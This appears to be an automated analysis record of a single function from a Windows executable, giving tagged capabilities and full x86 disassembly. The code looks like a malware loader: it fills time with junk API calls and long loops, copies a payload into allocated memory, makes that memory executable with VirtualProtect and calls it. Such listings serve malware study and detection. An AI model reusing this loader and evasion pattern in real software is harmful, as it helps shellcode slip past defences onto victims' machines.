Function at 0x4257a2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc5c
mov eax, dword [0x42e004]
xor eax, esp
mov dword [esp + 0xc58], eax
mov eax, dword [0x43e834]
push ebx
push esi
xor esi, esi
push edi
xor ecx, ecx
cmp ecx, 0x162
jne 0x4257da
mov eax, dword [0x42f7b0]
add eax, 0x9e49
cmp eax, 0x141
jne 0x4257f2
or dword [0x430a24], 0xffffffff
mov dword [0x430a20], 0xec58acac
inc ecx
cmp ecx, 0x123776e
jl 0x4257c8
mov dword [0x43e834], eax
xor ecx, ecx
cmp ecx, 0x565401
jne 0x425816
mov edx, dword [0x42efe8]
mov dword [0x43e838], edx
inc ecx
cmp ecx, 0x5ea924
jl 0x425802
cmp eax, 0x7c
jne 0x4258b9
push esi
lea eax, [esp + 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
call dword [sym.imp.USER32.dll_GetActiveWindow]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
push esi
push esi
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.USER32.dll_InflateRect]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push esi
lea eax, [esp + 0x64]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push esi
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
cmp dword [0x43e834], 0x54
jne 0x4258ab
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call edi
push str.naxujamoletobevijihupodaji
call edi
push esi
call fcn.0040127b
pop ecx
push esi
call fcn.00401291
pop ecx
xor ebx, ebx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCommMask]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, eax
mov word [esp + 0xc], ax
lea edi, [esp + 0xe]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [esp + 0x464]
push eax
push esi
lea eax, [esp + 0x18]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x30]
push eax
call sub.KERNEL32.dll_GetSystemTimes
cmp ebx, 0x25930
jg 0x425917
inc ebx
cmp ebx, 0xead09
jl 0x4258bb
jmp 0x42592b
cmp dword [0x43e834], 0xa
jne 0x42592b
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
cmp dword [0x43e834], 0x2a
jne 0x425a20
xor eax, eax
mov word [esp + 0xc], ax
lea edi, [esp + 0xe]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [esp + 0x64]
push eax
push str.forenupavap
lea eax, [esp + 0x18]
push eax
push esi
push esi
mov dword [0x43e6f8], esi
mov dword [0x43e6fc], esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
push esi
lea eax, [esp + 0x468]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
fld qword [0x42c510]
push 0x50
push ecx
push ecx
fstp qword [esp]
push 0x42c4d4
push str._s__f__c
call fcn.004014de
add esp, 0x14
push esi
push esi
call fcn.0040112a
mov ebx, 0x42c4e4
push ebx
push str.0__f
mov edi, 0x430998
push edi
call fcn.00401110
add esp, 0x14
push esi
push esi
call fcn.0040112a
push ebx
push str._s__c
push edi
call fcn.004014de
add esp, 0x14
push esi
call fcn.0040bbc4
pop ecx
call fcn.0040825d
push esi
push esi
call fcn.0040112a
push esi
push esi
call fcn.0040120d
push esi
push esi
call fcn.0040112a
push ebx
push edi
call fcn.004011f0
push esi
call fcn.004014c7
add esp, 0x24
push esi
call fcn.0040129c
pop ecx
push esi
push esi
push esi
call fcn.00401015
add esp, 0xc
push dword [0x43e834]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x43e834]
xor edi, edi
mov dword [0x43e550], eax
cmp ecx, esi
jbe 0x425a65
mov edx, dword [0x43e838]
mov dl, byte [edx + edi + 0x9e49]
mov byte [eax + edi], dl
cmp ecx, 0x5ab
jne 0x425a60
mov dword [0x43e554], 0x19b0
inc edi
cmp edi, ecx
jb 0x425a3e
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x1c]
push eax
push 0x40
push dword [0x43e834]
push dword [0x43e550]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00425711
xor edi, edi
cmp dword [0x43e834], 0x41
jne 0x425aac
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
cmp edi, 0xd606b
jne 0x425ab9
call fcn.004255cc
inc edi
cmp edi, 0x24e87d
jl 0x425a90
mov dword [0x43e700], 0x8e46a6f0
cmp esi, 0x408e
jle 0x425ade
cmp dword [esp + 0x40], 0xf5bed7
jne 0x425ae7
inc esi
cmp esi, 0x687ed2
jl 0x425acc
mov ecx, dword [esp + 0xc64]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret